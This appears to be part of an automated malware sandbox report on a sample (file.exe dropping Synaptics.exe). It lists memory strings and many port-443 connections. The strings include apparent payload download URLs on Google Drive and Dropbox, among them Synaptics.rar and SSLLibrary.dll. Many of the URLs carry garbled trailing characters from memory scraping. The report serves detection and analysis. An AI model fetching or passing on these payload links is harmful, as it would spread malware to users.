Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadub
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadulun
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadus
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduu
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadver
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvi
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvnK
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvz
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw5
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwF
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx;
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxG
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyD
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzL
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~)
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000004.00000002.2294250420.0000000004B0E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.comuc?id=0BxsMXGfPIZfSVlVsOGlEVGxuVk&export=download
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.userconten
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2358747058.000000001DF48000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/I
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=d.
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2358747058.000000001DF54000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2358747058.000000001DF52000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2357487031.000000001DF29000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2357487031.000000001DEE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2357487031.000000001DF21000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007315000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2349487470.000000001DAED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2358747058.000000001DF4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000004.00000002.2302077647.0000000007308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download11
Source: Synaptics.exe, 00000004.00000002.2302077647.0000000007308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000004.00000002.2302077647.0000000007308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaden
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadne
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniy6
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtl
Source: Synaptics.exe, 00000004.00000002.2353683433.000000001DCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoH1
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?idk
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlT
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 50254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50212
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50228
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50235
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50240
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50247
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50250
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
